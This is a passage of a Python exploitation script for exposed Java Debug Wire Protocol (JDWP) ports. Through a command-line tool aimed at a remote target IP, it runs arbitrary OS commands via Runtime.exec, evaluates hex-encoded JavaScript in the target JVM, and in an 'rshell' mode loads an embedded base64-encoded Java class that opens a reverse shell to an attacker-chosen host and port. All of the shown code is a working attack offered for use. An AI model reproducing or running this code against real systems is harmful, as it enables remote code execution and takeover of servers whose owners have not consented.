runtime_object_id = invoke_static_object(jdwp, thread_id, runtime_class_id, getRuntime_method_id, None) 574 | print ("[+] Runtime.getRuntime() returned context: {:#x}".format(runtime_object_id)) 575 | 576 | exec_method_id = get_method_id(jdwp, runtime_class_id, "exec", "(Ljava/lang/String;)Ljava/lang/Process;") 577 | print ("[+] found Runtime.exec(): {:#x}".format(exec_method_id)) 578 | 579 | retId = invoke_object(jdwp, thread_id, runtime_class_id, runtime_object_id, exec_method_id, string_id) 580 | print ("[+] Runtime.exec() successful, retId: {:#x} ".format(retId)) 581 | except Exception as e: 582 | print(str(e)) 583 | jdwp.resumevm() 584 | 585 | def runtime_exec_2(jdwp, cmd): 586 | try: 587 | thread_id = get_thread_id(jdwp) 588 | 589 | runtime_class_id = get_class_id(jdwp, "Ljava/lang/Runtime;") 590 | print ("[+] Found Runtime class: {:#x}".format(runtime_class_id)) 591 | getRuntime_method_id = get_method_id(jdwp, runtime_class_id, "getRuntime", "()Ljava/lang/Runtime;") 592 | print ("[+] Found Runtime.getRuntime(): {:#x}".format(getRuntime_method_id)) 593 | string_id = get_string_id(jdwp, cmd) 594 | print ("[+] Command string created: {:#x}, command: {}".format(string_id, cmd)) 595 | runtime_object_id = invoke_static_object(jdwp, thread_id, runtime_class_id, getRuntime_method_id, None) 596 | print ("[+] Runtime.getRuntime() returned context: {:#x}".format(runtime_object_id)) 597 | exec_method_id = get_method_id(jdwp, runtime_class_id, "exec", "(Ljava/lang/String;)Ljava/lang/Process;") 598 | print ("[+] found Runtime.exec(): {:#x}".format(exec_method_id)) 599 | retId = invoke_object(jdwp, thread_id, runtime_class_id, runtime_object_id, exec_method_id, string_id) 600 | print ("[+] Runtime.exec() successful, retId: {:#x} ".format(retId)) 601 | 602 | class_class_id = get_class_id(jdwp, "Ljava/lang/Class;") 603 | forName_method_id = get_method_id(jdwp, class_class_id, "forName", "(Ljava/lang/String;)Ljava/lang/Class;") 604 | 605 | process_class_id = invoke_static_class(jdwp, thread_id, class_class_id, forName_method_id, get_string_id(jdwp, "java.lang.Process")) 606 | process_getInputStream_method_id = get_method_id(jdwp, process_class_id, "getInputStream", "()Ljava/io/InputStream;") 607 | inputStream_object_id = invoke_object(jdwp, thread_id, process_class_id, retId, process_getInputStream_method_id, None) 608 | 609 | scanner_class_id = invoke_static_class(jdwp, thread_id, class_class_id, forName_method_id, get_string_id(jdwp, "java.util.Scanner")) 610 | scanner_init_method_id = get_method_id(jdwp, scanner_class_id, "", "(Ljava/io/InputStream;)V") 611 | scanner_object_id = new_instance(jdwp, thread_id, scanner_class_id, scanner_init_method_id, inputStream_object_id ) 612 | 613 | scanner_useDelimiter_method_id = get_method_id(jdwp, scanner_class_id, "useDelimiter", "(Ljava/lang/String;)Ljava/util/Scanner;") 614 | scanner_object_id_2 = invoke_object(jdwp, thread_id, scanner_class_id, scanner_object_id, scanner_useDelimiter_method_id, get_string_id(jdwp,"\\z")) 615 | 616 | scanner_next_method_id = get_method_id(jdwp, scanner_class_id, "next", "()Ljava/lang/String;") 617 | result_string = invoke_string(jdwp, thread_id, scanner_class_id, scanner_object_id_2, scanner_next_method_id, None) 618 | res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, result_string)) 619 | 620 | return res 621 | except Exception as e: 622 | print(str(e)) 623 | jdwp.resumevm() 624 | 625 | 626 | def run_js_code(jdwp, code): 627 | code = ''' 628 | function hexDecode(str) {{ 629 | var hex = str.toString(); 630 | var output = ''; 631 | for (var i = 0; i < hex.length; i += 2) {{ 632 | output += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); 633 | }} 634 | return output; 635 | }} 636 | var result = 'null'; 637 | try {{ 638 | result = eval(hexDecode('{}')) 639 | }}catch(e){{ 640 | result = e.message; 641 | }} 642 | if(!result){{ 643 | result = 'null'; 644 | }} 645 | result.toString();'''.format(binascii.hexlify(code.encode()).decode()) 646 | try: 647 | thread_id = get_thread_id(jdwp) 648 | 649 | class_class_id = get_class_id(jdwp, "Ljava/lang/Class;") 650 | forName_method_id = get_method_id(jdwp, class_class_id, "forName", "(Ljava/lang/String;)Ljava/lang/Class;") 651 | 652 | scriptEngineManager_class_id = invoke_static_class(jdwp, thread_id, class_class_id, forName_method_id, 653 | get_string_id(jdwp, "javax.script.ScriptEngineManager")) 654 | scriptEngineManager_init_method_id = get_method_id(jdwp, scriptEngineManager_class_id, "", "()V") 655 | scriptEngineManager_object_id = new_instance(jdwp, thread_id, scriptEngineManager_class_id, 656 | scriptEngineManager_init_method_id, None) 657 | 658 | getEngineByName_method_id = get_method_id(jdwp, scriptEngineManager_class_id, "getEngineByName", 659 | "(Ljava/lang/String;)Ljavax/script/ScriptEngine;") 660 | engine_object_id = invoke_object(jdwp, thread_id, scriptEngineManager_class_id, scriptEngineManager_object_id, 661 | getEngineByName_method_id, get_string_id(jdwp, "js")) 662 | 663 | abstractScriptEngine_class_id = invoke_static_class(jdwp, thread_id, class_class_id, forName_method_id, 664 | get_string_id(jdwp, "javax.script.AbstractScriptEngine")) 665 | eval_method_id = get_method_id(jdwp, abstractScriptEngine_class_id, "eval", 666 | "(Ljava/lang/String;)Ljava/lang/Object;") 667 | result_object_id = invoke(jdwp, thread_id, abstractScriptEngine_class_id, engine_object_id, eval_method_id, 668 | get_string_id(jdwp, code)) 669 | 670 | object_class_id = get_class_id(jdwp, "Ljava/lang/Object;") 671 | toString_method_id = get_method_id(jdwp, object_class_id, "toString", "()Ljava/lang/String;") 672 | result_string = invoke_string(jdwp, thread_id, object_class_id, result_object_id, toString_method_id, None) 673 | res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, result_string)) 674 | 675 | return res 676 | except Exception as e: 677 | print(str(e)) 678 | jdwp.resumevm() 679 | 680 | 681 | if __name__ == "__main__": 682 | parser = argparse.ArgumentParser( 683 | description="Advanced exploitation script for JDWP by @leixiao, base on @_hugsy_, @Lz1y, @r3change", 684 | formatter_class=argparse.ArgumentDefaultsHelpFormatter) 685 | 686 | parser.add_argument("-t", type=str, metavar="IP", help="Remote target IP", required=True) 687 | parser.add_argument("-p", type=int, metavar="Port", default=8000, help="Remote target port") 688 | parser.add_argument("-m", type=str, metavar="Mode", default="code", help="command/code/rshell") 689 | parser.add_argument("-c", type=str, metavar="Command/Code", help="Command or JavaScript Code") 690 | 691 | parser.add_argument("-a", type=str, metavar="Address", help="The address of reverse shell") 692 | parser.add_argument("-l", type=str, metavar="life", default= 1, help="The survival time (minute) of the shell when unable to connect to the server") 693 | args = parser.parse_args() 694 | 695 | client = JDWPClient(args.t, args.p) 696 | try: 697 | client.start() 698 | except Exception as e: 699 | print("[!] Handshake failed: {}".format(str(e))) 700 | try: 701 | client.leave() 702 | except Exception as e: 703 | pass 704 | exit(1) 705 | print("[+] Dump vm description \n{}\n".format(client.description)) 706 | 707 | if args.m == "command": 708 | if not args.c or args.c.strip() == "": 709 | print("[-] Command cannot be empty") 710 | exit(0) 711 | runtime_exec(client, args.c) 712 | elif args.m == "rshell": 713 | if not args.a or args.a.strip() == "" or ':' not in args.a: 714 | print("[-] Shell address need be like host:port") 715 | exit(0) 716 | code = "function defineClass(base64){var classBytes = java.util.Base64.getDecoder().decode(base64);var intClass = ''.getClass().getDeclaredField('hash').getType();var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',classBytes.class, intClass,intClass);defineClassMethod.setAccessible(true);return defineClassMethod.invoke(new java.lang.ClassLoader(){}, classBytes, 0, classBytes.length);}" 717 | code += "var shellClass = defineClass('yv66vgAAADQA/AoAgACBCACCCgCAAIMJAD8AhAsAhQCGBwCHCgAGAIgKAAYAiQgAigoABgCLCgAGAIwHAI0IAI4IAI8KAJAAkQgAkggAkwgAlAgAlQgAlggAlwoAmACZCgCYAJoKAJsAnAoAnQCeCgCdAJ8GQO1MAAAAAAAJAD8AoAoAoQCiBwCjCQA/AKQJAD8ApQoApgCnCgAfAKgHAKkKAB8AqgoAJACrBwCsBwCtCgAfAK4KACgArwoAJwCwBwCxCgAsAIgIALIKACwAswoAPwC0CAC1CgAkALYKACQAtwoAJwC4CABuCAC5CgAfALoKAD8AuwgAvAUAAAAAAAATiAoASAC9BwC+CgBIAIgHAL8KAD8AwAoAPwDBCADCCgCmAMMGP9MzMzMzMzMKAKEAxAoAPwDFBwDGAQAMc2NyaXB0RW5naW5lAQAbTGphdmF4L3NjcmlwdC9TY3JpcHRFbmdpbmU7AQAEaG9zdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBvcnQBABNMamF2YS9sYW5nL0ludGVnZXI7AQAEbGlmZQEAEkxqYXZhL2xhbmcvRG91YmxlOwEACGV4ZWNDb2RlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGcmVzdWx0AQASTGphdmEvbGFuZy9PYmplY3Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABHRoaXMBABFMb3JnL2V4YW1wbGUvQXBwOwEABGNvZGUBAA1TdGFja01hcFRhYmxlBwDHBwC/BwDIBwCNAQAHZ2V0SW5mbwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEaW5mbwEAA3J1bgEAAygpVgEABnNvY2tldAEAEUxqYXZhL25ldC9Tb2NrZXQ7AQADb3V0AQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQACaW4BABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAVpbnB1dAEABGV4aXQBAAFaAQAEdGltZQEAGUxqYXZhL3RpbWUvTG9jYWxEYXRlVGltZTsHAMkHAKMHAKkHAKwHAL4BAAY8aW5pdD4BADooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9JbnRlZ2VyO0xqYXZhL2xhbmcvRG91YmxlOylWAQAHZXhwbG9pdAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAIQXBwLmphdmEHAMgMAMoAYwEAAAwAywDMDABJAEoHAM0MAM4AzwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAB3AGYMANAA0QEAAQoMANAA0gwA0wBjAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEABiAgb3M6IAEAB29zLm5hbWUHANQMANUAUgEAASABAAdvcy5hcmNoAQAKb3MudmVyc2lvbgEABnVzZXI6IAEACXVzZXIubmFtZQEABmhvc3Q6IAcA1gwA1wDYDADZAGMHAMkMANoA2wcA3AwA3QDeDADfAOAMAE8AUAcA4QwA4gDjAQAPamF2YS9uZXQvU29ja2V0DABLAEwMAE0ATgcA5AwA5QDmDAB3AOcBABNqYXZhL2lvL1ByaW50V3JpdGVyDADoAOkMAHcA6gEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDADrAOwMAHcA7QwAdwDuAQAgamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZU1hbmFnZXIBAAJqcwwA7wDwDABiAGMBAAYKCj4+PiAMAPEA8gwA8wBmDAD0AGMBAAZleGl0KCkMAPUAZgwAUQBSAQAEPj4+IAwA9gD3AQAeamF2YS9sYW5nL0ludGVycnVwdGVkRXhjZXB0aW9uAQAPb3JnL2V4YW1wbGUvQXBwDAB3AHgMAPgAZgEACTEyNy4wLjAuMQwA+QD6DAD5APsMAHkAeAEAEGphdmEvbGFuZy9UaHJlYWQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAF2phdmEvdGltZS9Mb2NhbERhdGVUaW1lAQAEdHJpbQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAGWphdmF4L3NjcmlwdC9TY3JpcHRFbmdpbmUBAARldmFsAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAFGphdmEvbmV0L0luZXRBZGRyZXNzAQAMZ2V0TG9jYWxIb3N0AQAYKClMamF2YS9uZXQvSW5ldEFkZHJlc3M7AQALZ2V0SG9zdE5hbWUBAANub3cBABsoKUxqYXZhL3RpbWUvTG9jYWxEYXRlVGltZTsBABJqYXZhL3RpbWUvRHVyYXRpb24BAAdiZXR3ZWVuAQBQKExqYXZhL3RpbWUvdGVtcG9yYWwvVGVtcG9yYWw7TGphdmEvdGltZS90ZW1wb3JhbC9UZW1wb3JhbDspTGphdmEvdGltZS9EdXJhdGlvbjsBAAh0b01pbGxpcwEAAygpSgEAEGphdmEvbGFuZy9Eb3VibGUBAAtkb3VibGVWYWx1ZQEAAygpRAEAEWphdmEvbGFuZy9JbnRlZ2VyAQAIaW50VmFsdWUBAAMoKUkBABYoTGphdmEvbGFuZy9TdHJpbmc7SSlWAQAPZ2V0T3V0cHV0U3RyZWFtAQAYKClMamF2YS9pby9PdXRwdXRTdHJlYW07AQAZKExqYXZhL2lvL091dHB1dFN0cmVhbTspVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAPZ2V0RW5naW5lQnlOYW1lAQAvKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZTsBAAVwcmludAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAIcmVhZExpbmUBAAVjbG9zZQEABXNsZWVwAQAEKEopVgEABXN0YXJ0AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBABUoRClMamF2YS9sYW5nL0RvdWJsZTsAIQA/AEgAAAAEAAIASQBKAAAAAgBLAEwAAAACAE0ATgAAAAIATwBQAAAABgACAFEAUgABAFMAAADdAAIAAwAAAEortgABEgK2AAOZAAYSArAqtAAEK7kABQIATSzGABe7AAZZtwAHLLYACBIJtgAKtgALsBICsE27AAZZtwAHLLYACBIJtgAKtgALsAACAA8AMQA1AAwAMgA0ADUADAADAFQAAAAiAAgAAAAVAAwAFgAPABkAGgAaAB4AGwAyAB0ANQAfADYAIABVAAAAKgAEABoAGwBWAFcAAgA2ABQAWABZAAIAAABKAFoAWwAAAAAASgBcAEwAAQBdAAAAGQADD/wAIgcAXv8AAgACBwBfBwBgAAEHAGEAAgBiAGMAAQBTAAABMAACAAMAAACxuwAGWbcABxINtgAKEg64AA+2AAoSELYAChIRuAAPtgAKEhC2AAoSErgAD7YACrYAC0y7AAZZtwAHK7YAChIJtgAKtgALTLsABlm3AAcrtgAKEhO2AAoSFLgAD7YACrYAC0y7AAZZtwAHK7YAChIJtgAKtgALTLsABlm3AAcrtgAKEhW2AAq4ABa2ABe2AAq2AAtMpwAcTbsABlm3AAcrtgAKEhW2AAostgAItgALTCuwAAEAdgCTAJYADAADAFQAAAAmAAkAAAAlADIAJgBGACcAYgAoAHYAKgCTAC0AlgArAJcALACvAC4AVQAAACAAAwCXABgAWABZAAIAAACxAFoAWwAAADIAfwBkAEwAAQBdAAAAEwAC/wCWAAIHAF8HAGAAAQcAYRgAAQBlAGYAAQBTAAACBQAFAAcAAAD1Azy4ABhNLLgAGLgAGbYAGooUABtvKrQAHbYAHpicANcbmgDTuwAfWSq0ACAqtAAhtgAitwAjTrsAJFkttgAltwAmOgS7ACdZuwAoWS22ACm3ACq3ACs6BSq7ACxZtwAtEi62AC+1AAQZBLsABlm3AAcqtwAwtgAKEjG2AAq2AAu2ADIZBLYAMxkFtgA0WToGxgBPuAAYTRkGtgABEjW2AAOaABAZBrYAARI2tgADmQAMBDwttgA3pwAoGQS7AAZZtwAHKhkGtwA4tgAKEjm2AAq2AAu2ADIZBLYAM6f/rKcABE4bmv8iFAA6uAA8p/8ZTqf/FbEAAgAkAN8A4gAMAOcA7QDwAD0AAwBUAAAAZgAZAAAAMwACADQABgA1ACQANwA3ADgARAA5AFgAOwBoAD0AgwA+AIgAQACTAEEAlwBDALEARACzAEUAtwBGALoASADXAEkA3wBNAOIASwDjAE8A5wBRAO0AVADwAFIA8QBUAPQAVwBVAAAASAAHADcAqABnAGgAAwBEAJsAaQBqAAQAWACHAGsAbAAFAJAATwBtAEwABgAAAPUAWgBbAAAAAgDzAG4AbwABAAYA7wBwAHEAAgBdAAAANAAJ/QAGAQcAcv4AgQcAcwcAdAcAdfwAKAcAYAj/ACQAAwcAXwEHAHIAAEIHAGEATAcAdgMAAQB3AHgAAQBTAAAAbAACAAQAAAAUKrcAPiortQAgKiy1ACEqLbUAHbEAAAACAFQAAAAWAAUAAABZAAQAWgAJAFsADgBcABMAXQBVAAAAKgAEAAAAFABaAFsAAAAAABQASwBMAAEAAAAUAE0ATgACAAAAFABPAFAAAwAJAHkAeAABAFMAAABQAAUAAwAAAA67AD9ZKisstwBAtgBBsQAAAAIAVAAAAAoAAgAAAGAADQBhAFUAAAAgAAMAAAAOAEsATAAAAAAADgBNAE4AAQAAAA4ATwBQAAIACQB6AHsAAQBTAAAAQAAEAAEAAAASEkIRH5C4AEMUAES4AEa4AEexAAAAAgBUAAAACgACAAAAZAARAGUAVQAAAAwAAQAAABIAfAB9AAAAAQB+AAAAAgB/');" 718 | code += "var exploitMethod = shellClass.getDeclaredMethod('exploit',''.getClass(), java.lang.Class.forName('java.lang.Integer'), java.lang.Class.forName('java.lang.Double'));" 719 | addr = args.a.split(":",2) 720 | code += "exploitMethod.invoke(null, '{}', {}, {}*1.0)".format(addr[0],addr[1],args.l) 721 | res = run_js_code(client, code) 722 | if res.strip() != "null": 723 | print("[-] \n{}\n".format(res)) 724 | else: 725 | print("[+] success") 726 | elif args.m == "command2": 727 | if not args.c or args.c.strip() == "": 728 | print("[-] Command cannot be empty") 729 | exit(0) 730 | res = runtime_exec_2(client, args.c) 731 | print("[+] Run Command Result:\n\n{}\n".format(res)) 732 | elif args.m == "code": 733 | if not args.c or args.c.strip() == "": 734 | print("[-] Code cannot be empty") 735 | exit(0) 736 | res = run_js_code(client, args.c) 737 | print("[+] Run JS Code Result:\n\n{}\n".format(res)) 738 | else: 739 | print("[+] Error. No: {}".format(args.m)) 740 | 741 | client.leave() 742 | --------------------------------------------------------------------------------